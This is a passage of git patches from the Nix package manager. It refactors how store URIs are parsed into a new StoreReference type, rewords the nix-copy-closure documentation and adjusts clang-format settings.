T::uriSchemes(), .create = - ([](const std::string & scheme, const std::string & uri, const Store::Params & params) + ([](auto scheme, auto uri, auto & params) -> std::shared_ptr { return std::make_shared(scheme, uri, params); }), .getConfig = diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/uds-remote-store.cc index 649644146..499f76967 100644 --- a/src/libstore/uds-remote-store.cc +++ b/src/libstore/uds-remote-store.cc @@ -40,12 +40,13 @@ UDSRemoteStore::UDSRemoteStore(const Params & params) UDSRemoteStore::UDSRemoteStore( - const std::string scheme, - std::string socket_path, + std::string_view scheme, + PathView socket_path, const Params & params) : UDSRemoteStore(params) { - path.emplace(socket_path); + if (!socket_path.empty()) + path.emplace(socket_path); } @@ -54,6 +55,7 @@ std::string UDSRemoteStore::getUri() if (path) { return std::string("unix://") + *path; } else { + // unix:// with no path also works. Change what we return? return "daemon"; } } diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/uds-remote-store.hh index 8bce8994a..6f0494bb6 100644 --- a/src/libstore/uds-remote-store.hh +++ b/src/libstore/uds-remote-store.hh @@ -28,7 +28,10 @@ class UDSRemoteStore : public virtual UDSRemoteStoreConfig public: UDSRemoteStore(const Params & params); - UDSRemoteStore(const std::string scheme, std::string path, const Params & params); + UDSRemoteStore( + std::string_view scheme, + PathView path, + const Params & params); std::string getUri() override; diff --git a/src/libstore/unix/local-overlay-store.hh b/src/libstore/unix/local-overlay-store.hh index 2c24285dd..35a301013 100644 --- a/src/libstore/unix/local-overlay-store.hh +++ b/src/libstore/unix/local-overlay-store.hh @@ -92,7 +92,7 @@ class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual public: LocalOverlayStore(const Params & params); - LocalOverlayStore(std::string scheme, std::string path, const Params & params) + LocalOverlayStore(std::string_view scheme, PathView path, const Params & params) : LocalOverlayStore(params) { if (!path.empty()) diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh index d63920c19..834ac1b51 100644 --- a/tests/functional/read-only-store.sh +++ b/tests/functional/read-only-store.sh @@ -9,7 +9,10 @@ clearStore happy () { # We can do a read-only query just fine with a read-only store nix --store local?read-only=true path-info $dummyPath - + + # `local://` also works. + nix --store local://?read-only=true path-info $dummyPath + # We can "write" an already-present store-path a read-only store, because no IO is actually required nix-store --store local?read-only=true --add dummy } From 77cb02b7390ca13142c85af1cbe6ba1a6fbde2bf Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 21 May 2024 18:06:16 +0200 Subject: [PATCH 0640/1251] reword documentation on `nix-copy-closure` (#10709) * reword documentation on `nix-copy-closure` - one sentence per line - be more precise with respect to which Nix stores are being accessed - make a clear distinction between store paths and store objects - add links to definitions of terms - clarify which machine is which - --to and --from don't take arguments Co-authored-by: Robert Hensing --- .../src/command-ref/nix-copy-closure.md | 69 ++++++++----------- 1 file changed, 29 insertions(+), 40 deletions(-) diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index 3c62191f1..d94bde3a3 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -1,75 +1,64 @@ # Name -`nix-copy-closure` - copy a closure to or from a remote machine via SSH +`nix-copy-closure` - copy store objects to or from a remote machine via SSH # Synopsis `nix-copy-closure` - [`--to` | `--from`] + [`--to` | `--from` ] [`--gzip`] [`--include-outputs`] [`--use-substitutes` | `-s`] [`-v`] - _user@machine_ _paths_ + [_user_@]_machine_[:_port_] _paths_ # Description -`nix-copy-closure` gives you an easy and efficient way to exchange -software between machines. Given one or more Nix store _paths_ on the -local machine, `nix-copy-closure` computes the closure of those paths -(i.e. all their dependencies in the Nix store), and copies all paths -in the closure to the remote machine via the `ssh` (Secure Shell) -command. With the `--from` option, the direction is reversed: the -closure of _paths_ on a remote machine is copied to the Nix store on -the local machine. +Given _paths_ from one machine, `nix-copy-closure` computes the [closure](@docroot@/glossary.md#gloss-closure) of those paths (i.e. all their dependencies in the Nix store), and copies [store objects](@docroot@/glossary.md#gloss-store-object) in that closure to another machine via SSH. +It doesn’t copy store objects that are already present on the other machine. -This command is efficient because it only sends the store paths -that are missing on the target machine. +> **Note** +> +> While the Nix store to use on the local machine can be specified on the command line with the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option, the Nix store to be accessed on the remote machine can only be [configured statically](@docroot@/command-ref/conf-file.md#configuration-file) on that remote machine. -Since `nix-copy-closure` calls `ssh`, you may be asked to type in the -appropriate password or passphrase. In fact, you may be asked _twice_ -because `nix-copy-closure` currently connects twice to the remote -machine, first to get the set of paths missing on the target machine, -and second to send the dump of those paths. When using public key -authentication, you can avoid typing the passphrase with `ssh-agent`. +Since `nix-copy-closure` calls `ssh`, you may need to authenticate with the remote machine. +In fact, you may be asked for authentication _twice_ because `nix-copy-closure` currently connects twice to the remote machine: first to get the set of paths missing on the target machine, and second to send the dump of those paths. +When using public key authentication, you can avoid typing the passphrase with `ssh-agent`. # Options - - `--to`\ - Copy the closure of _paths_ from the local Nix store to the Nix - store on _machine_. This is the default. + - `--to` - - `--from`\ - Copy the closure of _paths_ from the Nix store on _machine_ to the - local Nix store. + Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_. + This is the default behavior. + + - `--from` + + Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store. + + - `--gzip` - - `--gzip`\ Enable compression of the SSH connection. - - `--include-outputs`\ + - `--include-outputs` + Also copy the outputs of [store derivation]s included in the closure. [store derivation]: @docroot@/glossary.md#gloss-store-derivation - - `--use-substitutes` / `-s`\ - Attempt to download missing paths on the target machine using Nix’s - substitute mechanism. Any paths that cannot be substituted on the - target are still copied normally from the source. This is useful, - for instance, if the connection between the source and target - machine is slow, but the connection between the target machine and - `nixos.org` (the default binary cache server) is - fast. + - `--use-substitutes` / `-s` - - `-v`\ - Show verbose output. + Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters). + Any store objects that cannot be substituted on the target are still copied normally from the source. + This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast. {{#include ./opt-common.md}} # Environment variables - - `NIX_SSHOPTS`\ - Additional options to be passed to `ssh` on the command - line. + - `NIX_SSHOPTS` + + Additional options to be passed to `ssh` on the command line. {{#include ./env-common.md}} From 1d6c2316a988a97b2c4d214f582580f70c7d9586 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 21 May 2024 17:52:49 -0400 Subject: [PATCH 0641/1251] Slightly change formatting style For long expressions, one argument or parameter per line is just easier. --- .clang-format | 2 ++ src/libcmd/network-proxy.cc | 5 ++++- src/libstore/windows/pathlocks.cc | 9 +++++++-- src/libutil/compression.cc | 13 +++++++++---- src/libutil/windows/file-system.cc | 9 +++++++-- tests/unit/libexpr/nix_api_value.cc | 21 +++++++++++++++------ 6 files changed, 44 insertions(+), 15 deletions(-) diff --git a/.clang-format b/.clang-format index 73eac7ef6..07a5ef5bc 100644 --- a/.clang-format +++ b/.clang-format @@ -30,3 +30,5 @@ BreakBeforeBinaryOperators: NonAssignment AlwaysBreakBeforeMultilineStrings: true IndentPPDirectives: AfterHash PPIndentWidth: 2 +BinPackArguments: false +BinPackParameters: false diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc index 633b2c005..4b7d2441f 100644 --- a/src/libcmd/network-proxy.cc +++ b/src/libcmd/network-proxy.cc @@ -25,7 +25,10 @@ static StringSet getExcludingNoProxyVariables() static const StringSet excludeVariables{"no_proxy", "NO_PROXY"}; StringSet variables; std::set_difference( - networkProxyVariables.begin(), networkProxyVariables.end(), excludeVariables.begin(), excludeVariables.end(), + networkProxyVariables.begin(), + networkProxyVariables.end(), + excludeVariables.begin(), + excludeVariables.end(), std::inserter(variables, variables.begin())); return variables; } diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc index 738057f68..1199878e9 100644 --- a/src/libstore/windows/pathlocks.cc +++ b/src/libstore/windows/pathlocks.cc @@ -35,8 +35,13 @@ void PathLocks::unlock() AutoCloseFD openLockFile(const Path & path, bool create) { AutoCloseFD desc = CreateFileA( - path.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, - create ? OPEN_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, NULL); + path.c_str(), + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + create ? OPEN_ALWAYS : OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, + NULL); if (desc.get() == INVALID_HANDLE_VALUE) warn("%s: %s", path, std::to_string(GetLastError())); diff --git a/src/libutil/compression.cc b/src/libutil/compression.cc index d17401f27..d27028565 100644 --- a/src/libutil/compression.cc +++ b/src/libutil/compression.cc @@ -263,8 +263,13 @@ struct BrotliCompressionSink : ChunkedCompressionSink checkInterrupt(); if (!BrotliEncoderCompressStream( - state, data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, &avail_in, &next_in, - &avail_out, &next_out, nullptr)) + state, + data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, + &avail_in, + &next_in, + &avail_out, + &next_out, + nullptr)) throw CompressionError("error while compressing brotli compression"); if (avail_out < sizeof(outbuf) || avail_in == 0) { @@ -280,8 +285,8 @@ struct BrotliCompressionSink : ChunkedCompressionSink ref makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel, int level) { - std::vector la_supports = {"bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", - "lzip", "lzma", "lzop", "xz", "zstd"}; + std::vector la_supports = { + "bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", "lzip", "lzma", "lzop", "xz", "zstd"}; if (std::find(la_supports.begin(), la_supports.end(), method) != la_supports.end()) { return make_ref(nextSink, method, parallel, level); } diff --git a/src/libutil/windows/file-system.cc b/src/libutil/windows/file-system.cc index 8002dd75e..b15355efe 100644 --- a/src/libutil/windows/file-system.cc +++ b/src/libutil/windows/file-system.cc @@ -5,8 +5,13 @@ namespace nix { Descriptor openDirectory(const std::filesystem::path & path) { return CreateFileW( - path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, - FILE_FLAG_BACKUP_SEMANTICS, NULL); + path.c_str(), + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + FILE_FLAG_BACKUP_SEMANTICS, + NULL); } } diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 6e1131e10..c71593c85 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -256,10 +256,13 @@ TEST_F(nix_api_expr_test, nix_value_init) Value * f = nix_alloc_value(ctx, state); nix_expr_eval_from_string( - ctx, state, R"( + ctx, + state, + R"( a: a * a )", - "", f); + "", + f); // Test @@ -325,20 +328,26 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) Value * f = nix_alloc_value(ctx, state); nix_expr_eval_from_string( - ctx, state, R"( + ctx, + state, + R"( a: { foo = a; } )", - "", f); + "", + f); assert_ctx_ok(); Value * e = nix_alloc_value(ctx, state); { Value * g = nix_alloc_value(ctx, state); nix_expr_eval_from_string( - ctx, state, R"( + ctx, + state, + R"( _ignore: throw "error message for test case nix_value_init_apply_lazy_arg" )", - "", g); + "", + g); assert_ctx_ok(); nix_init_apply(ctx, e, g, g); From c036d75f9e15baea68056de601fb089e38d36c5c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 23 Jan 2024 14:23:03 -0500 Subject: [PATCH 0642/1251] Factor out abstract syntax for Store URIs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Need to decouple parsing from actually opening a store for Machine configs. Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> Co-authored-by: Robert Hensing --- src/libstore/store-api.cc | 147 +++++++++++--------------------- src/libstore/store-api.hh | 45 +++------- src/libstore/store-reference.cc | 92 ++++++++++++++++++++ src/libstore/store-reference.hh | 84 ++++++++++++++++++ 4 files changed, 236 insertions(+), 132 deletions(-) create mode 100644 src/libstore/store-reference.cc create mode 100644 src/libstore/store-reference.hh diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 6eba3a77d..7c2b3815f 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -8,7 +8,6 @@ #include "util.hh" #include "nar-info-disk-cache.hh" #include "thread-pool.hh" -#include "url.hh" #include "references.hh" #include "archive.hh" #include "callback.hh" @@ -1267,109 +1266,63 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath) namespace nix { -/* Split URI into protocol+hierarchy part and its parameter set. */ -std::pair splitUriAndParams(const std::string & uri_) -{ - auto uri(uri_); - Store::Params params; - auto q = uri.find('?'); - if (q != std::string::npos) { - params = decodeQuery(uri.substr(q + 1)); - uri = uri_.substr(0, q); - } - return {uri, params}; -} - -static bool isNonUriPath(const std::string & spec) -{ - return - // is not a URL - spec.find("://") == std::string::npos - // Has at least one path separator, and so isn't a single word that - // might be special like "auto" - && spec.find("/") != std::string::npos; -} - -std::shared_ptr openFromNonUri(const std::string & uri, const Store::Params & params) -{ - // TODO reenable on Windows once we have `LocalStore` and - // `UDSRemoteStore`. - if (uri == "" || uri == "auto") { - auto stateDir = getOr(params, "state", settings.nixStateDir); - if (access(stateDir.c_str(), R_OK | W_OK) == 0) - return std::make_shared(params); - else if (pathExists(settings.nixDaemonSocketFile)) - return std::make_shared(params); - #if __linux__ - else if (!pathExists(stateDir) - && params.empty() - && !isRootUser() - && !getEnv("NIX_STORE_DIR").has_value() - && !getEnv("NIX_STATE_DIR").has_value()) - { - /* If /nix doesn't exist, there is no daemon socket, and - we're not root, then automatically set up a chroot - store in ~/.local/share/nix/root. */ - auto chrootStore = getDataDir() + "/nix/root"; - if (!pathExists(chrootStore)) { - try { - createDirs(chrootStore); - } catch (Error & e) { - return std::make_shared(params); - } - warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - } else - debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - return std::make_shared("local", chrootStore, params); - } - #endif - else - return std::make_shared(params); - } else if (uri == "daemon") { - return std::make_shared(params); - } else if (uri == "local") { - return std::make_shared(params); - } else if (isNonUriPath(uri)) { - return std::make_shared("local", absPath(uri), params); - } else { - return nullptr; - } -} - -ref openStore(const std::string & uri_, +ref openStore(const std::string & uri, const Store::Params & extraParams) { - auto params = extraParams; - try { - auto parsedUri = parseURL(uri_); - params.insert(parsedUri.query.begin(), parsedUri.query.end()); + return openStore(StoreReference::parse(uri, extraParams)); +} - auto baseURI = parsedUri.authority.value_or("") + parsedUri.path; +ref openStore(StoreReference && storeURI) +{ + auto & params = storeURI.params; - for (auto implem : *Implementations::registered) { - if (implem.uriSchemes.count(parsedUri.scheme)) { - auto store = implem.create(parsedUri.scheme, baseURI, params); - if (store) { - experimentalFeatureSettings.require(store->experimentalFeature()); - store->init(); - store->warnUnknownSettings(); - return ref(store); - } + auto store = std::visit(overloaded { + [&](const StoreReference::Auto &) -> std::shared_ptr { + auto stateDir = getOr(params, "state", settings.nixStateDir); + if (access(stateDir.c_str(), R_OK | W_OK) == 0) + return std::make_shared(params); + else if (pathExists(settings.nixDaemonSocketFile)) + return std::make_shared(params); + #if __linux__ + else if (!pathExists(stateDir) + && params.empty() + && !isRootUser() + && !getEnv("NIX_STORE_DIR").has_value() + && !getEnv("NIX_STATE_DIR").has_value()) + { + /* If /nix doesn't exist, there is no daemon socket, and + we're not root, then automatically set up a chroot + store in ~/.local/share/nix/root. */ + auto chrootStore = getDataDir() + "/nix/root"; + if (!pathExists(chrootStore)) { + try { + createDirs(chrootStore); + } catch (Error & e) { + return std::make_shared(params); + } + warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + } else + debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + return std::make_shared("local", chrootStore, params); } - } - } - catch (BadURL &) { - auto [uri, uriParams] = splitUriAndParams(uri_); - params.insert(uriParams.begin(), uriParams.end()); + #endif + else + return std::make_shared(params); + }, + [&](const StoreReference::Specified & g) { + for (auto implem : *Implementations::registered) + if (implem.uriSchemes.count(g.scheme)) + return implem.create(g.scheme, g.authority, params); - if (auto store = openFromNonUri(uri, params)) { - experimentalFeatureSettings.require(store->experimentalFeature()); - store->warnUnknownSettings(); - return ref(store); - } - } + throw Error("don't know how to open Nix store with scheme '%s'", g.scheme); + }, + }, storeURI.variant); - throw Error("don't know how to open Nix store '%s'", uri_); + experimentalFeatureSettings.require(store->experimentalFeature()); + store->warnUnknownSettings(); + store->init(); + + return ref { store }; } std::list> getDefaultSubstituters() diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index a508e5a00..430d9a5ab 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -13,6 +13,7 @@ #include "path-info.hh" #include "repair-flag.hh" #include "store-dir-config.hh" +#include "store-reference.hh" #include "source-path.hh" #include @@ -65,7 +66,7 @@ MakeError(Unsupported, Error); MakeError(SubstituteGone, Error); MakeError(SubstituterDisabled, Error); -MakeError(InvalidStoreURI, Error); +MakeError(InvalidStoreReference, Error); struct Realisation; struct RealisedPath; @@ -102,7 +103,7 @@ typedef std::map> StorePathCAMap; struct StoreConfig : public StoreDirConfig { - typedef std::map Params; + using Params = StoreReference::Params; using StoreDirConfig::StoreDirConfig; @@ -859,34 +860,13 @@ OutputPathMap resolveDerivedPath(Store &, const DerivedPath::Built &, Store * ev /** * @return a Store object to access the Nix store denoted by * ‘uri’ (slight misnomer...). - * - * @param uri Supported values are: - * - * - ‘local’: The Nix store in /nix/store and database in - * /nix/var/nix/db, accessed directly. - * - * - ‘daemon’: The Nix store accessed via a Unix domain socket - * connection to nix-daemon. - * - * - ‘unix://’: The Nix store accessed via a Unix domain socket - * connection to nix-daemon, with the socket located at . - * - * - ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on - * whether the user has write access to the local Nix - * store/database. - * - * - ‘file://’: A binary cache stored in . - * - * - ‘https://’: A binary cache accessed via HTTP. - * - * - ‘s3://’: A writable binary cache stored on Amazon's Simple - * Storage Service. - * - * - ‘ssh://[user@]’: A remote Nix store accessed by running - * ‘nix-store --serve’ via SSH. - * - * You can pass parameters to the store type by appending - * ‘?key=value&key=value&...’ to the URI. + */ +ref openStore(StoreReference && storeURI); + + +/** + * Opens the store at `uri`, where `uri` is in the format expected by `StoreReference::parse` + */ ref openStore(const std::string & uri = settings.storeUri.get(), const Store::Params & extraParams = Store::Params()); @@ -957,11 +937,6 @@ std::optional decodeValidPathInfo( std::istream & str, std::optional hashGiven = std::nullopt); -/** - * Split URI into protocol+hierarchy part and its parameter set. - */ -std::pair splitUriAndParams(const std::string & uri); - const ContentAddress * getDerivationCA(const BasicDerivation & drv); std::map drvOutputReferences( diff --git a/src/libstore/store-reference.cc b/src/libstore/store-reference.cc new file mode 100644 index 000000000..9e5dafd99 --- /dev/null +++ b/src/libstore/store-reference.cc @@ -0,0 +1,92 @@ +#include + +#include "error.hh" +#include "url.hh" +#include "store-reference.hh" +#include "file-system.hh" + +namespace nix { + +static bool isNonUriPath(const std::string & spec) +{ + return + // is not a URL + spec.find("://") == std::string::npos + // Has at least one path separator, and so isn't a single word that + // might be special like "auto" + && spec.find("/") != std::string::npos; +} + +StoreReference StoreReference::parse(const std::string & uri, const StoreReference::Params & extraParams) +{ + auto params = extraParams; + try { + auto parsedUri = parseURL(uri); + params.insert(parsedUri.query.begin(), parsedUri.query.end()); + + auto baseURI = parsedUri.authority.value_or("") + parsedUri.path; + + return { + .variant = + Specified{ + .scheme = std::move(parsedUri.scheme), + .authority = std::move(baseURI), + }, + .params = std::move(params), + }; + } catch (BadURL &) { + auto [baseURI, uriParams] = splitUriAndParams(uri); + params.insert(uriParams.begin(), uriParams.end()); + + if (baseURI == "" || baseURI == "auto") { + return { + .variant = Auto{}, + .params = std::move(params), + }; + } else if (baseURI == "daemon") { + return { + .variant = + Specified{ + .scheme = "unix", + .authority = "", + }, + .params = std::move(params), + }; + } else if (baseURI == "local") { + return { + .variant = + Specified{ + .scheme = "local", + .authority = "", + }, + .params = std::move(params), + }; + } else if (isNonUriPath(baseURI)) { + return { + .variant = + Specified{ + .scheme = "local", + .authority = absPath(baseURI), + }, + .params = std::move(params), + }; + } + } + + throw UsageError("Cannot parse Nix store '%s'", uri); +} + +/* Split URI into protocol+hierarchy part and its parameter set. */ +std::pair splitUriAndParams(const std::string & uri_) +{ + auto uri(uri_); + StoreReference::Params params; + auto q = uri.find('?'); + if (q != std::string::npos) { + params = decodeQuery(uri.substr(q + 1)); + uri = uri_.substr(0, q); + } + return {uri, params}; +} + +} diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh new file mode 100644 index 000000000..c94a87d7d --- /dev/null +++ b/src/libstore/store-reference.hh @@ -0,0 +1,84 @@ +#pragma once +///@file + +#include + +#include "types.hh" + +namespace nix { + +/** + * A parsed Store URI (URI is a slight misnomer...), parsed but not yet + * resolved to a specific instance and query parms validated. + * + * Supported values are: + * + * - ‘local’: The Nix store in /nix/store and database in + * /nix/var/nix/db, accessed directly. + * + * - ‘daemon’: The Nix store accessed via a Unix domain socket + * connection to nix-daemon. + * + * - ‘unix://’: The Nix store accessed via a Unix domain socket + * connection to nix-daemon, with the socket located at . + * + * - ‘auto’ or ‘’: Equivalent to ‘local’ or ‘daemon’ depending on + * whether the user has write access to the local Nix + * store/database. + * + * - ‘file://’: A binary cache stored in . + * + * - ‘https://’: A binary cache accessed via HTTP. + * + * - ‘s3://’: A writable binary cache stored on Amazon's Simple + * Storage Service. + * + * - ‘ssh://[user@]’: A remote Nix store accessed by running + * ‘nix-store --serve’ via SSH. + * + * You can pass parameters to the store type by appending + * ‘?key=value&key=value&...’ to the URI. + */ +struct StoreReference +{ + using Params = std::map; + + /** + * Special store reference `""` or `"auto"` + */ + struct Auto + { + inline bool operator==(const Auto & rhs) const = default; + inline auto operator<=>(const Auto & rhs) const = default; + }; + + /** + * General case, a regular `scheme://authority` URL. + */ + struct Specified + { + std::string scheme; + std::string authority; + + bool operator==(const Specified & rhs) const = default; + auto operator<=>(const Specified & rhs) const = default; + }; + + typedef std::variant Variant; + + Variant variant; + + Params params; + + bool operator==(const StoreReference & rhs) const = default; + auto operator<=>(const StoreReference & rhs) const = default; + + static StoreReference parse(const std::string & uri, const Params & extraParams = Params{}); +}; + +/** + * Split URI into protocol+hierarchy part and its parameter set. + */ +std::pair splitUriAndParams(const std::string & uri); + +} From b59a7a14c4fd48835f3b36c3a4b942de77e5d9a1 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 23 Jan 2024 15:36:44 -0500 Subject: [PATCH 0643/1251] Add `StoreReference::render` This will be needed for the next step. Also allows us to write round trip tests. --- .clang-format | 2 +- maintainers/flake-module.nix | 66 +++++++++- src/libstore/store-reference.cc | 24 ++++ src/libstore/store-reference.hh | 10 +- src/libutil/url.hh | 2 + .../libstore/data/store-reference/auto.txt | 1 + .../data/store-reference/auto_param.txt | 1 + .../libstore/data/store-reference/local_1.txt | 1 + .../libstore/data/store-reference/local_2.txt | 1 + .../store-reference/local_shorthand_1.txt | 1 + .../store-reference/local_shorthand_2.txt | 1 + .../libstore/data/store-reference/ssh.txt | 1 + .../libstore/data/store-reference/unix.txt | 1 + .../data/store-reference/unix_shorthand.txt | 1 + tests/unit/libstore/store-reference.cc | 123 ++++++++++++++++++ 15 files changed, 233 insertions(+), 3 deletions(-) create mode 100644 tests/unit/libstore/data/store-reference/auto.txt create mode 100644 tests/unit/libstore/data/store-reference/auto_param.txt create mode 100644 tests/unit/libstore/data/store-reference/local_1.txt create mode 100644 tests/unit/libstore/data/store-reference/local_2.txt create mode 100644 tests/unit/libstore/data/store-reference/local_shorthand_1.txt create mode 100644 tests/unit/libstore/data/store-reference/local_shorthand_2.txt create mode 100644 tests/unit/libstore/data/store-reference/ssh.txt create mode 100644 tests/unit/libstore/data/store-reference/unix.txt create mode 100644 tests/unit/libstore/data/store-reference/unix_shorthand.txt create mode 100644 tests/unit/libstore/store-reference.cc diff --git a/.clang-format b/.clang-format index 07a5ef5bc..f5d7fb711 100644 --- a/.clang-format +++ b/.clang-format @@ -15,7 +15,7 @@ SpaceAfterCStyleCast: true SpaceAfterTemplateKeyword: false AccessModifierOffset: -4 AlignAfterOpenBracket: AlwaysBreak -AlignEscapedNewlines: DontAlign +AlignEscapedNewlines: Left ColumnLimit: 120 BreakStringLiterals: false BitFieldColonSpacing: None diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 351a01fcb..f7f05d38e 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -17,7 +17,8 @@ excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^tests/.*'' + ''^tests/functional/.*$'' + ''^tests/unit/[^/]*/data/.*$'' # Don't format vendored code ''^src/toml11/.*'' @@ -426,6 +427,69 @@ ''^src/nix/upgrade-nix\.cc$'' ''^src/nix/verify\.cc$'' ''^src/nix/why-depends\.cc$'' + + ''^tests/nixos/ca-fd-leak/sender\.c'' + ''^tests/nixos/ca-fd-leak/smuggler\.c'' + ''^tests/unit/libexpr-support/tests/libexpr\.hh'' + ''^tests/unit/libexpr-support/tests/value/context\.cc'' + ''^tests/unit/libexpr-support/tests/value/context\.hh'' + ''^tests/unit/libexpr/derived-path\.cc'' + ''^tests/unit/libexpr/error_traces\.cc'' + ''^tests/unit/libexpr/eval\.cc'' + ''^tests/unit/libexpr/flake/flakeref\.cc'' + ''^tests/unit/libexpr/flake/url-name\.cc'' + ''^tests/unit/libexpr/json\.cc'' + ''^tests/unit/libexpr/main\.cc'' + ''^tests/unit/libexpr/primops\.cc'' + ''^tests/unit/libexpr/search-path\.cc'' + ''^tests/unit/libexpr/trivial\.cc'' + ''^tests/unit/libexpr/value/context\.cc'' + ''^tests/unit/libexpr/value/print\.cc'' + ''^tests/unit/libfetchers/public-key\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.hh'' + ''^tests/unit/libstore-support/tests/libstore\.hh'' + ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' + ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' + ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' + ''^tests/unit/libstore-support/tests/path\.cc'' + ''^tests/unit/libstore-support/tests/path\.hh'' + ''^tests/unit/libstore-support/tests/protocol\.hh'' + ''^tests/unit/libstore/common-protocol\.cc'' + ''^tests/unit/libstore/content-address\.cc'' + ''^tests/unit/libstore/derivation\.cc'' + ''^tests/unit/libstore/derived-path\.cc'' + ''^tests/unit/libstore/downstream-placeholder\.cc'' + ''^tests/unit/libstore/machines\.cc'' + ''^tests/unit/libstore/nar-info-disk-cache\.cc'' + ''^tests/unit/libstore/nar-info\.cc'' + ''^tests/unit/libstore/outputs-spec\.cc'' + ''^tests/unit/libstore/path-info\.cc'' + ''^tests/unit/libstore/path\.cc'' + ''^tests/unit/libstore/serve-protocol\.cc'' + ''^tests/unit/libstore/worker-protocol\.cc'' + ''^tests/unit/libutil-support/tests/characterization\.hh'' + ''^tests/unit/libutil-support/tests/hash\.cc'' + ''^tests/unit/libutil-support/tests/hash\.hh'' + ''^tests/unit/libutil/args\.cc'' + ''^tests/unit/libutil/canon-path\.cc'' + ''^tests/unit/libutil/chunked-vector\.cc'' + ''^tests/unit/libutil/closure\.cc'' + ''^tests/unit/libutil/compression\.cc'' + ''^tests/unit/libutil/config\.cc'' + ''^tests/unit/libutil/file-content-address\.cc'' + ''^tests/unit/libutil/git\.cc'' + ''^tests/unit/libutil/hash\.cc'' + ''^tests/unit/libutil/hilite\.cc'' + ''^tests/unit/libutil/json-utils\.cc'' + ''^tests/unit/libutil/logging\.cc'' + ''^tests/unit/libutil/lru-cache\.cc'' + ''^tests/unit/libutil/pool\.cc'' + ''^tests/unit/libutil/references\.cc'' + ''^tests/unit/libutil/suggestions\.cc'' + ''^tests/unit/libutil/tests\.cc'' + ''^tests/unit/libutil/url\.cc'' + ''^tests/unit/libutil/xml-writer\.cc'' ]; }; diff --git a/src/libstore/store-reference.cc b/src/libstore/store-reference.cc index 9e5dafd99..b4968dfad 100644 --- a/src/libstore/store-reference.cc +++ b/src/libstore/store-reference.cc @@ -4,6 +4,7 @@ #include "url.hh" #include "store-reference.hh" #include "file-system.hh" +#include "util.hh" namespace nix { @@ -17,6 +18,29 @@ static bool isNonUriPath(const std::string & spec) && spec.find("/") != std::string::npos; } +std::string StoreReference::render() const +{ + std::string res; + + std::visit( + overloaded{ + [&](const StoreReference::Auto &) { res = "auto"; }, + [&](const StoreReference::Specified & g) { + res = g.scheme; + res += "://"; + res += g.authority; + }, + }, + variant); + + if (!params.empty()) { + res += "?"; + res += encodeQuery(params); + } + + return res; +} + StoreReference StoreReference::parse(const std::string & uri, const StoreReference::Params & extraParams) { auto params = extraParams; diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh index c94a87d7d..e99335c0d 100644 --- a/src/libstore/store-reference.hh +++ b/src/libstore/store-reference.hh @@ -58,7 +58,7 @@ struct StoreReference struct Specified { std::string scheme; - std::string authority; + std::string 